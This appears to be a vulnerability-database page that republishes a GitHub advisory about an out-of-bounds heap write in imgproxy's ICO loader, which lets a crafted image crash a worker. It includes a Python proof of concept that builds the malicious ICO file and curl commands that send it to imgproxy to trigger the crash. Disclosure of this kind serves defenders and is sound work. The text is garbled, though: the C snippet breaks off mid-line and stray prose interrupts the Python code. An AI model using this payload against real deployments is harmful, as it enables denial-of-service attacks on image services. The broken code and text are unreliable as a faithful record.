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Response snapshot Oct 31, 2026, 01:26 UTC

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VulnerabilityGHSA-494m-4556-wf5p

imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash

Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk.

At a glance

Exploited
Not known
Severity
Not scored yet
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: github.com/imgproxy/imgproxy/v3: 4.0.17. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-494m-4556-wf5p (opens a new tab)

What happened

Summary

Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).

Details

In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:

Continue reading
uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32)); // unvalidated
uint16_t bpp = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14)); // unvalidated
if ((num_colors == 0) && (bpp > 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc's `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).

### PoC

py

ico-oob.ico sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1

import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1

allocation.

entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16) data = b'\xAA' # the single declared image byte blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1' open('ico-oob.ico', 'wb').write(blob) print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")

IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy

curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"

Go panic dump → exit code 2. One request, one dead worker.

curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"

→ HTTP 200, valid thumbnail (control)


### Impact

Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.

Affected package ranges reported by GitHub:
github.com/imgproxy/imgproxy/v3: >= 3.3.0, < 4.0.17

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-494m-4556-wf5p (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-494m-4556-wf5p, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 30). imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash. https://kevwire.com/record/GHSA-494m-4556-wf5p

MLA

"imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash." KEVWire, 30 Oct. 2026, kevwire.com/record/GHSA-494m-4556-wf5p.

Chicago

KEVWire. "imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash." Last modified October 30, 2026. https://kevwire.com/record/GHSA-494m-4556-wf5p.

Evidence summary (plain text)

imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash (Oct 30, 2026).
Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).
Sources:
GitHub-reviewed advisory GHSA-494m-4556-wf5p: https://github.com/advisories/GHSA-494m-4556-wf5p
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: GHSA-494m-4556-wf5p.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 31, 2026, 00:50 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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